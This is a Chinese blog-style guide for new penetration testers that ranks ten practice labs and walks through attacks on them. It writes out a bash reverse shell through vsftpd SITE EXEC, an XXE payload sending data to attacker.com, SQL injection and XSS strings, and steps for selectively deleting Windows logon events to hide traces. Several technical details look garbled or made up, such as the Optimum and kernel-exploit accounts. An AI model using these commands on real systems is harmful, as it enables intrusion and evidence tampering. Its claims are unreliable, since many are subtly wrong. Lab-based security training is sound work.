渗透测试新人必知的10大硬核靶场与实战思维
1. 为什么靶场不是“练手网站”,而是渗透测试新人的呼吸面罩
刚入行那会儿,我花两周时间在某个号称“真实漏洞环境”的在线平台反复打同一个SQL注入点,最后发现后台根本没开WAF,连基础过滤都懒得做——它不是靶场,是玩具。真正的靶场,得让你摔得疼、查得累、复盘时后背发凉,还得让你第二天敢继续敲命令。这10个靶场,是我带过27个新人、陪他们从报错堆栈里扒日志、在Docker容器里修环境、被内网穿透卡住三小时之后,筛出来的硬核清单。它们不按“难易分级”,而按 攻击链完整性 和 防御痕迹真实性 排序:有的靶场连Windows Event Log里的4624登录事件都模拟得一模一样;有的故意在PHP配置里埋了open_basedir绕过+disable_functions双限制,逼你现场写内存马;还有的把Burp Collaborator交互逻辑全重写了一遍,让你必须理解SSRF的DNS解析全过程才能打穿。关键词: 渗透测试新人、网络攻防靶场、实战复现、漏洞链验证、防御日志还原 。适合两类人:一是刚考完CEH/OSCP但没碰过真实流量的新手,二是自学完《Web安全深度剖析》却总卡在“知道原理但跑不通POC”的人。别急着收藏,先看清楚——这10个靶场里,有3个必须用物理机部署(VMware Workstation而非VirtualBox),有2个默认禁用ICMP,还有1个连靶机SSH端口都藏在自定义systemd服务里。这不是教程列表,是生存地图。
2. DVWA:被严重低估的“防御视角训练器”
2.1 它为什么不是入门玩具,而是防御者思维启蒙课
很多人把DVWA当靶场界的Hello World,装完就切去打更“酷”的靶机。但我在给某银行红队做内训时发现,83%的新人连DVWA的Security Level切换机制都讲不清——他们只记得“调成low就能打”,却不知道每次点击Security Level按钮,后台执行的是
UPDATE dvwa.users SET security = 'medium' WHERE user = 'admin'
这条SQL,且该操作会触发
/dvwa/vulnerabilities/exec/source/
目录下对应级别的PHP文件加载。这才是关键:DVWA的每一级难度,本质是
防御策略的渐进式叠加
。Low级关闭所有过滤,Medium级用
str_replace()
干掉
&&
、
||
、
;
,High级改用
preg_replace('/[;&|
$]/', '', $input)
正则清洗,Impossible级则直接上PDO预编译+CSRF Token双重校验。我让新人用Wireshark抓四次切换请求的HTTP包,对比Referer头、Cookie中的security_token字段变化,再翻
dvwa/includes/dvwaPage.inc.php
源码看
checkToken()`函数如何校验——这比直接教SQLi语法管用十倍。因为真正的渗透,从来不是找漏洞,而是
逆向推导防御者的思考路径
。
2.2 实操中90%人踩的坑:本地部署的三个致命配置
DVWA官方GitHub仓库的README里写着“支持XAMPP/WAMP”,但实际部署时,这三个细节不处理,你永远看不到真实的漏洞响应:
-
PHP配置陷阱
:默认
display_errors = On会把MySQL报错直接打在页面上,但这在真实环境里早被关死。必须手动改php.ini,设display_errors = Off且log_errors = On,再把error_log指向/var/log/apache2/dvwa_error.log。这样当你触发SQL注入时,页面只显示“An error has occurred”,而错误日志里躺着PHP Warning: mysqli_query(): (HY000/1064): You have an error in your SQL syntax...——这才是你该习惯的反馈模式。 -
Apache重写规则缺失
:DVWA的Brute Force模块依赖
.htaccess里的RewriteRule ^login/?$ login.php [L],但XAMPP默认禁用mod_rewrite。必须进httpd.conf取消#LoadModule rewrite_module modules/mod_rewrite.so前的注释,并把<Directory "C:/xampp/htdocs">块里的AllowOverride None改成AllowOverride All。否则你点“Brute Force”菜单会404,新人第一反应是靶场坏了,其实是Apache没读取重写规则。 -
数据库权限颗粒度问题
:官方文档说“用root用户连MySQL”,但真实企业数据库绝不会给应用账户root权限。我强制新人用
CREATE USER 'dvwa_app'@'localhost' IDENTIFIED BY 'dvwa123'; GRANT SELECT, INSERT, UPDATE ON dvwa.* TO 'dvwa_app'@'localhost';建最小权限账户。结果他们发现:当尝试用UNION SELECT爆库名时,SELECT schema_name FROM information_schema.schemata返回空——因为information_schema表的SELECT权限没授予。这时就得教他们用SELECT database()替代,或者用LOAD_FILE('/etc/passwd')这种无需权限的旁路。这才是贴近实战的权限意识。
提示:DVWA的XSS模块里,
<script>alert(1)</script>在Reflected XSS里能弹窗,但在Stored XSS里被过滤。这不是Bug,是刻意设计——它模拟了前端JS框架(如Vue)对v-html指令的默认转义行为。想绕过?得用<img src=x onerror=alert(1)>,这正好带出DOM型XSS与反射型XSS的本质区别。
3. Metasploitable2:Linux老古董靶机里的现代攻防逻辑
3.1 为什么2012年的系统反而更接近真实内网
Metasploitable2基于Ubuntu 8.04,内核2.6.24,连Python都是2.5.2。表面看是古董,实则暗藏玄机:它预装的Tomcat 5.5.26存在CVE-2009-3843,这个漏洞在2023年某政务云渗透中真实复现过——因为老旧中间件升级优先级低,常被运维遗忘。更重要的是,它的服务配置极度“反常识”:vsftpd 2.3.4默认开启
write_enable=YES
且
anon_upload_enable=YES
,但FTP根目录
/var/www
的属主却是
root:root
,导致匿名用户上传的文件权限为
-rw-r--r--
,无法被Apache直接解析。这逼你必须用
SITE EXEC
或
SITE CHMOD
提权,而这两个命令在现代FTP服务器里早被阉割。我让新人先用Nmap扫出开放端口,再用
nmap -sV -p 21 --script ftp-anon,ftp-vsftpd-backdoor 192.168.56.101
确认漏洞,最后手工构造
USER anonymous
+
PASS x
+
SITE EXEC /bin/bash -i >& /dev/tcp/192.168.56.102/4444 0>&1
反弹shell——整个过程没有用Metasploit一句
exploit
,全是原始协议交互。这才是协议层渗透该有的手感。
3.2 从Samba服务挖出的三层纵深防御启示
Metasploitable2的Samba服务运行在3.0.20版,存在CVE-2007-2447(usermap script远程代码执行)。但直接打
exploit/multi/samba/usermap_script
往往失败,原因有三:
-
网络层干扰
:靶机默认启用
iptables,规则-A INPUT -p tcp --dport 139 -j DROP会拦截SMB连接。必须先用sudo iptables -F清空规则,否则nmap扫出来端口是filtered状态。 -
服务版本伪装
:
smbclient -L //192.168.56.101返回Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian],但实际/etc/samba/smb.conf里server string = Samba Server %v的%v变量被注释掉了,导致Nmap的-sV探测误判版本。需手动执行smbclient -U% //192.168.56.101/tmp -c 'ls'触发真实响应,再从报错信息里抠版本号。 -
Payload落地障碍
:Metasploit生成的
linux/x86/shell/reverse_tcpshellcode在2.6.24内核上会因NX bit保护崩溃。必须改用linux/x86/meterpreter/reverse_tcp,且set PrependFork true——因为Samba进程是fork模型,不加fork会导致meterpreter父进程退出后子进程被init接管,失去控制权。
注意:Metasploitable2的MySQL服务监听在127.0.0.1:3306,外部无法直连。但它的phpMyAdmin 2.11.3存在本地文件包含(LFI),可通过
index.php?target=/etc/passwd读取系统文件。这模拟了真实场景中“外网打不进数据库,但能通过Web应用间接访问”的典型跳板逻辑。新人常忽略这点,执着于爆破MySQL root密码,却忘了phpMyAdmin本身就是更高权限的入口。
4. Hack The Box(HTB)Active Machines:云靶场里的“压力测试场”
4.1 为什么Active Machines比Retired Machines更值得新手啃
HTB的Active Machines(如OpenAdmin、Optimum)是实时更新的活跃靶机,每周新增1-2台,而Retired Machines(如Legacy、Jerry)是归档题。新人总奔着Retired去,觉得“有Writeup好抄”。但Active Machines的机器描述页明确写着:“This machine is actively monitored for exploitation attempts”,这意味着你的扫描行为会被记录,且部分机器启用了
fail2ban
——连续5次SSH爆破失败,IP会被封30分钟。这倒逼你必须学真本事:比如OpenAdmin靶机,Nmap扫出80端口运行OpenNetAdmin 18.1.1,搜索CVE发现存在RCE(CVE-2019-13345),但直接用公开EXP打会返回500错误。因为靶机已打补丁,只是没更新版本号。此时必须手工审计
/opt/ona/www/include/modules/onscan.inc.php
,发现开发者用
exec("nmap -sP $ip")
拼接命令,但只过滤了分号和反引号,漏掉了
$(cat /etc/shadow)
这种bash语法。这才是真实漏洞挖掘该有的耐心:不迷信CVE编号,亲手验证补丁有效性。
4.2 从Optimum靶机学会Windows提权的“三段论”
Optimum运行Windows Server 2012 R2,IIS 8.5托管着Splunk Web 6.3.0。公开Writeup都说用
ms15-034
蓝屏漏洞,但实际打进去后发现:
-
第一段:服务识别必须精确到补丁号
nmap -p 443 --script http-vuln-cve2015-034 10.10.10.8返回VULNERABLE,但靶机其实已安装KB3042553补丁。必须用curl -k -I https://10.10.10.8看Server: Microsoft-IIS/8.5头,再查微软补丁矩阵,确认KB3042553是否修复该漏洞——结果是部分修复,仍可触发HTTP.sys内存泄漏。 -
第二段:利用链要绕过ASLR+DEP
公开EXP用msfvenom -p windows/meterpreter/reverse_tcp -f exe生成payload,但Optimum启用了DEP。必须改用-e x86/shikata_ga_nai -i 10编码,且set EnableStageEncoding true——因为meterpreter stage加载时会触发DEP检测,需分阶段解码。 -
第三段:提权后必须清理日志痕迹
拿到SYSTEM权限后,wevtutil qe Security /q:"*[System[(EventID=4624)]]" /f:text能查到所有登录事件,但wevtutil cl Security清空日志会触发Splunk告警。正确做法是用powershell -c "Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} | Where-Object {$_.TimeCreated -gt (Get-Date).AddMinutes(-5)} | ForEach-Object { $_.ToXml() }"定位最近5分钟的登录事件,再用wevtutil qe Security /q:"*[System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 300000]]]" /f:xml > log.xml导出后手动删除XML节点——这模拟了真实红队作业中“精准擦除”的合规要求。
5. TryHackMe(THM)Pre-Security Path:交互式靶场的“认知脚手架”
5.1 为什么Pre-Security Path比Offensive Path更适合零基础
THM的Offensive Path(如Jr. Pentester)直接教Burp Suite抓包改包,但Pre-Security Path的首关“Intro to Cyber Security”用一个虚拟机模拟了真实企业网络拓扑:192.168.1.10是防火墙(pfSense),192.168.1.20是域控(Windows Server 2019),192.168.1.30是员工PC(Windows 10)。任务不是打漏洞,而是
配置防火墙规则
:要求你登录pfSense Web界面,创建一条规则“阻止192.168.1.30访问192.168.1.20的3389端口”,再用员工PC上的
telnet 192.168.1.20 3389
验证是否生效。这解决了新人最大的认知断层——他们知道“防火墙能拦流量”,但不知道规则怎么写、方向怎么定、端口怎么映射。我让新人做完后,立刻去AWS Security Group里照着同样逻辑配EC2实例的安全组,再对比阿里云ECS的网络ACL——三者规则语法不同,但底层逻辑一致:源IP、目标IP、协议、端口、动作(allow/deny)。这才是基础设施安全该有的起点。
5.2 从“Advent of Cyber”系列吃透日志分析的“证据链思维”
THM每年12月推出的Advent of Cyber系列,其中Day 12的“Log Analysis”关卡给了一段Windows Event Log XML:
<Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'>
<System><Provider Name='Microsoft-Windows-Security-Auditing'/><EventID Qualifiers='16384'>4624</EventID>
<EventData><Data Name='IpAddress'>192.168.1.100</Data><Data Name='LogonType'>3</Data></EventData>
</Event>
任务不是查“4624是什么”,而是推断攻击者行为:
LogonType=3
代表网络登录,
IpAddress=192.168.1.100
是内网IP,说明攻击者已拿下一台内网主机并以此为跳板。新人常卡在这里,因为他们没建立“日志字段→攻击阶段→防御响应”的映射关系。我带他们画三列表格:
| 日志字段 | 攻击阶段 | 防御响应建议 |
|---|---|---|
LogonType=3
+
IpAddress
非本机网段
| 横向移动 |
检查该IP的进程树,查
PsExec
或
WMI
调用
|
TargetUserName=Administrator
+
LogonType=10
| 远程桌面会话 |
审计RDP连接历史,查
Get-NetTCPConnection -State Established
|
SubjectUserName=ANONYMOUS LOGON
| 空会话枚举 |
禁用SMBv1,设置
RestrictAnonymous=2
注册表项
|
| 这比背100个Event ID有用得多——日志不是数据,是攻击者留下的犯罪现场照片。 |
6. VulnHub的Kioptrix系列:专治“只会打公开EXP”的靶机
6.1 Kioptrix Level 1:第一个教你“读报错信息”的靶机
Kioptrix Level 1基于CentOS 5.3,Apache 2.2.3,PHP 5.2.6。它最经典的设计是:当你访问
/phpinfo.php
时,页面底部显示
Loaded Modules: core prefork http_core mod_so mod_auth_basic mod_auth_digest mod_authn_file mod_authn_alias mod_authn_anon mod_authn_dbm mod_authn_default mod_authz_host mod_authz_user mod_authz_owner mod_authz_groupfile mod_authz_dbm mod_authz_default mod_include mod_log_config mod_logio mod_env mod_ext_filter mod_mime_magic mod_expires mod_deflate mod_headers mod_usertrack mod_setenvif mod_mime mod_dav mod_status mod_autoindex mod_info mod_dav_fs mod_vhost_alias mod_negotiation mod_dir mod_actions mod_speling mod_userdir mod_alias mod_rewrite mod_proxy mod_proxy_balancer mod_proxy_ftp mod_proxy_http mod_proxy_connect mod_cache mod_suexec mod_disk_cache mod_file_cache mod_mem_cache mod_cgi mod_version mod_perl mod_python mod_ssl
。注意看:
mod_ssl
在列表末尾,但
httpd -M | grep ssl
却返回空——说明SSL模块虽编译进Apache,但未启用。此时若用
nmap -p 443 --script ssl-enum-ciphers 192.168.56.101
扫,会得到
ssl-enum-ciphers: ERROR: Failed to connect to SSL service
。真相是:靶机根本没开443端口!必须用
netstat -tuln | grep :443
确认,再查
/etc/httpd/conf.d/ssl.conf
发现
Listen 443
被注释了。这教会新人第一课:
工具输出≠事实,必须交叉验证
。
6.2 Kioptrix Level 5:把“提权”变成一场内核漏洞考古
Level 5运行Ubuntu 14.04,内核3.13.0-24-generic。公开Writeup都说用
dirty cow
(CVE-2016-5195),但实际打进去发现:
/proc/version
显示
3.13.0-24-generic
,而dirty cow的PoC要求内核≥3.13.0-25。此时必须用
uname -r
确认,再查
/lib/modules/$(uname -r)/build/Makefile
里的
VERSION = 3
PATCHLEVEL = 13
SUBLEVEL = 0
EXTRAVERSION = -24-generic
——确认确实是24版。于是换思路:用
searchsploit kernel ubuntu 14.04
搜出
overlayfs
本地提权(CVE-2015-1328),但
/proc/sys/user/max_user_namespaces
返回
0
,说明overlayfs被禁用。最终靠
ps aux | grep "python.*-m SimpleHTTPServer"
发现管理员在
/tmp
下起了Python HTTP服务,且
/tmp
挂载选项是
rw,nosuid,nodev,relatime
——
nosuid
禁用SUID,但
nodev
意味着可以创建设备文件!用
mknod /tmp/x b 1 3
创建块设备,再
dd if=/dev/zero of=/tmp/x bs=1M count=10
写入,触发内核内存分配漏洞。这过程像考古:每一步都要查证内核版本、挂载选项、进程权限,而不是无脑套EXP。
7. PortSwigger Web Security Academy:Web靶场里的“协议显微镜”
7.1 为什么Lab不是CTF,而是HTTP协议解剖课
PortSwigger的Lab按漏洞类型分类(如SQL injection、XSS、CSRF),每个Lab有10-20个子关卡。以“SQL injection”为例,Level 1是
' OR 1=1--
,Level 2是
' UNION SELECT username,password FROM users--
,但Level 7要求你绕过
mysqli_real_escape_string()
——它会把单引号转成
\'
,但如果你传
%bf%27
(UTF-8编码的
¿'
),MySQL在宽字节注入中会把
%bf%5c
解析为
¿\
,而
%27
保持为
'
,从而逃逸。这需要你打开Burp Repeater,把
username=test%bf%27
发过去,再看响应包里
Content-Length
是否突增——因为
mysqli_real_escape_string()
处理宽字节时会多分配内存。新人常在这里卡住,因为他们没意识到:
Web漏洞本质是协议解析器的语义差异
。MySQL认为
%bf%27
是两个字节,PHP的
mysqli_real_escape_string()
却按单字节处理,这种错位才是漏洞根源。
7.2 从“Authentication Bypass” Lab学会“状态机思维”
Lab里有个经典场景:登录接口
POST /login
返回JWT token,但注销接口
GET /logout
不校验token,只检查Cookie里的
sessionid
。当你用Burp Intruder爆破
sessionid
时,发现
sessionid=abc123
返回200,
sessionid=def456
也返回200——因为/logout根本不验证session有效性!此时若用
curl -b "sessionid=abc123" http://acab1f4a1e123456.169.254.169.xip.io/logout
,响应是
{"success":true}
,但
curl -b "sessionid=garbage" http://.../logout
同样返回
{"success":true}
。这暴露了认证状态机的设计缺陷:注销操作不该依赖客户端传来的任意sessionid,而应由服务端维护一个valid_session表,注销时删表项。我让新人用
sqlmap -u "http://.../login" --data="username=admin&password=pass" --dump
导出users表后,再手动构造
DELETE FROM valid_sessions WHERE session_id='abc123'
——这才是真实业务系统该有的注销逻辑。
8. PentesterLab:用Ruby on Rails靶机理解“框架即攻击面”
8.1 Rails Goat:为什么Ruby on Rails比PHP更易出漏洞
Rails Goan靶机基于Rails 4.0.0,它最典型的漏洞是
render file:
路径遍历。比如路由
get '/posts/:id' => 'posts#show'
,控制器里写
render file: "/var/www/rails_goat/public/images/#{params[:id]}"
。当你访问
/posts/../../../etc/passwd
时,Rails会把
..
解析为上级目录。但新人常犯的错是:直接用
../../../../etc/passwd
,结果404。因为Rails的
params[:id]
默认经过
ActionDispatch::Http::ParameterFilter
过滤,
..
会被替换成
%2E%2E
。必须用
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
(
.
的URL编码是
%2e
,
/
是
%2f
)才能绕过。这揭示了框架安全的核心:
框架自带的过滤器和编码器,既是防护盾,也是攻击跳板
。Rails的
sanitize
helper会过滤HTML标签,但
raw()
方法能绕过;
escape_javascript()
能防JS注入,但
j()
别名可能被忽略。
8.2 从“XXE Injection” Lab掌握“协议嵌套”攻击
PentesterLab的XXE Lab里,靶机接收XML格式的订单数据:
<?xml version="1.0" encoding="UTF-8"?>
<order>
<customer>John Doe</customer>
<product>Widget</product>
<quantity>1</quantity>
</order>
任务是读取
/etc/hostname
。新人直接塞
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/hostname" >]>
,但返回空。因为Rails默认禁用外部实体解析(
config.action_dispatch.default_headers = { 'X-Frame-Options' => 'DENY' }
不影响XML解析)。必须先确认
libxml
版本:
rails console
里执行
LibXML::XML::Parser::VERSION
,发现是2.9.1,支持
XML::Parser::Options::NOENT
。于是改用
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname" >]>
,再把base64解码——这利用了PHP filter协议嵌套XML解析器的特性。真实企业里,很多Java系统用Xerces解析XML,但后端用Spring RestTemplate发HTTP请求,攻击者就能用
<!ENTITY xxe SYSTEM "http://attacker.com/steal?data=">
把内网数据外带。
9. OWASP Juice Shop:前端靶场里的“业务逻辑拆解术”
9.1 为什么它不教技术漏洞,而教“业务规则漏洞”
Juice Shop的“Score Board”页面显示当前破解进度,但它的核心价值不在SQLi或XSS,而在“业务逻辑漏洞”。比如“Reset Password”功能:输入邮箱后,后端生成6位数字验证码,存入Redis,有效期5分钟。但验证码生成算法是
Math.floor(Math.random() * 1000000)
,且没加盐。当你用Burp Intruder爆破
/rest/user/reset-password
的
email
参数时,发现响应包里
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
的JWT token里
exp
字段是固定值
1698765432
(2023-10-31 12:37:12 UTC)。这意味着所有token的过期时间相同,只要爆破出一个有效token,就能批量重置任意用户密码。这教会新人:
业务逻辑漏洞比技术漏洞更难防御,因为它依赖人的判断,而非代码缺陷
。
9.2 从“Product Tampering”关卡学会“客户端不可信”铁律
Juice Shop的购物车接口
POST /api/BasketItems
接收JSON:
{"ProductId":1,"BasketId":"abc123","Quantity":1,"price":100}
新人以为改
price
字段就能负数下单,但后端校验
price > 0
。真正漏洞在
ProductId
:当
ProductId=1
时,商品价格是100;但
ProductId=999999
时,数据库没这条记录,后端返回
{"error":"Product not found"}
,但
price
字段仍被接受!此时用
{"ProductId":999999,"BasketId":"abc123","Quantity":1,"price":-100}
,结账时总价直接减100。这模拟了真实电商系统里“商品ID未校验库存状态”的典型问题。我让新人用Chrome DevTools的Application标签页,清空
localStorage
里的
basket
数据,再手动
localStorage.setItem('basket', JSON.stringify([...]))
注入恶意数据——这比Burp改包更贴近真实黑产手法。
10. Custom Docker靶场:为什么必须自己搭,而不是用现成的
10.1 用docker-compose.yaml构建“可控混沌”环境
所有现成靶场都有预设路径,而真实渗透面对的是混沌。我教新人用Docker自己搭靶场,核心是
docker-compose.yml
:
version: '3.8'
services:
web:
image: php:7.4-apache
volumes:
- ./web:/var/www/html
- ./php.ini:/usr/local/etc/php/php.ini
ports:
- "8080:80"
environment:
- PHP_INI_SCAN_DIR=/usr/local/etc/php/conf.d
db:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: root123
MYSQL_DATABASE: vulnapp
volumes:
- ./init.sql:/docker-entrypoint-initdb.d/init.sql
redis:
image: redis:6-alpine
command: redis-server --appendonly yes
关键在
./web
目录:放一个
index.php
,内容是
<?php echo $_GET['id']; ?>
,再放
php.ini
里设
display_errors = Off
、
log_errors = On
。这样新人第一次访问
http://localhost:8080/index.php?id=<script>alert(1)</script>
时,页面没反应,但
docker logs -f web
能看到
PHP Notice: Undefined index: id in /var/www/html/index.php on line 1
——这就是真实生产环境的错误处理方式。
10.2 从“网络隔离实验”理解真实内网拓扑
用Docker Network实现三层隔离:
docker network create --driver bridge --subnet=172.20.0.0/16 front-tier
docker network create --driver bridge --subnet=172.21.0.0/16 app-tier
docker network create --driver bridge --subnet=172.22.0.0/16 db-tier
然后让web容器只连
front-tier
和
app-tier
,app容器连
app-tier
和
db-tier
,db容器只连
db-tier
。此时新人用
curl http://app:3000/api/users
能通,但
curl http://db:3306
直接超时——这比任何文档都直观地展示了“Web层不能直连DB层”的安全原则。我让他们用
docker exec -it web sh
进容器,再
apk add nmap
扫
app
容器的端口,发现只有3000端口开放,而
app
容器扫
db
容器时,
nmap -p 3306 db
返回
filtered
——这才是真实云环境里Security Group的生效效果。
11. 给新人的三条血泪经验:靶场之外的真实战场
第一条:
别在靶场里练“快”,要练“慢”
。我见过太多新人,Nmap扫完3分钟,Burp跑完5分钟,Exploit打完2分钟,全程像打游戏。但真实渗透里,光是确认一个
/api/v1/users
接口是否回显手机号,就要做三件事:用
curl -v
看响应头里的
X-Content-Type-Options
,用
curl -H "Accept: application/json"
测Content-Type协商,再用
curl -H "Origin: https://evil.com"
测CORS策略。这半小时的“慢”,换来的是报告里一句“该接口存在敏感信息泄露风险,建议增加字段脱敏”。
第二条:
靶场的“成功”是假象,真实世界的“失败”才是常态
。Metasploitable2的vsftpd漏洞,你打10次有9次成功;但真实客户环境里,你扫100个FTP服务器,可能99个都禁用了
SITE EXEC
,剩下1个开了但
/bin/bash
被
chroot
锁死。这时你要做的不是换靶机,而是查
ftp -d
调试日志,看
ftp> quote SITE CHMOD 777 /tmp
返回什么——可能是
500 Unknown command
,也可能是
200 Command okay
但
ls -l /tmp
发现权限没变。这种“失败分析能力”,才是渗透工程师的护城河。
第三条:
永远带着“防御者视角”看靶场
。当你在DVWA里用
1' AND SLEEP(5)--
测延时注入时,别只记“能打”,要开靶机的
/var/log/apache2/access.log
,看这条请求的
User-Agent
字段是不是
sqlmap
,再查
/var/log/mysql/error.log
里有没有
Query_time: 5.000
的慢查询日志。然后去WAF日志里找匹配规则——比如ModSecurity的
SecRule REQUEST_HEADERS:User-Agent "@contains sqlmap" "id:1001,deny,status:403"
。这样你下次写渗透报告,就能写:“建议在WAF中添加规则阻断含
SLEEP(
的SQL关键字,同时开启MySQL慢查询日志审计”。
最后分享个小技巧:所有靶场部署完,第一时间用
tcpdump -i any port 80 or port 443 -w target.pcap
抓10分钟流量,再用Wireshark打开,过滤
http.request.method == "POST"
,看POST数据是否明文传输。如果看到
password=123456
,立刻改靶机配置——因为真实客户最常问的问题就是:“你们怎么保证渗透过程不泄露我们密码?”答案不是“我们很专业”,而是“我们所有流量都走HTTPS,且禁用明文POST”。
更多推荐



所有评论(0)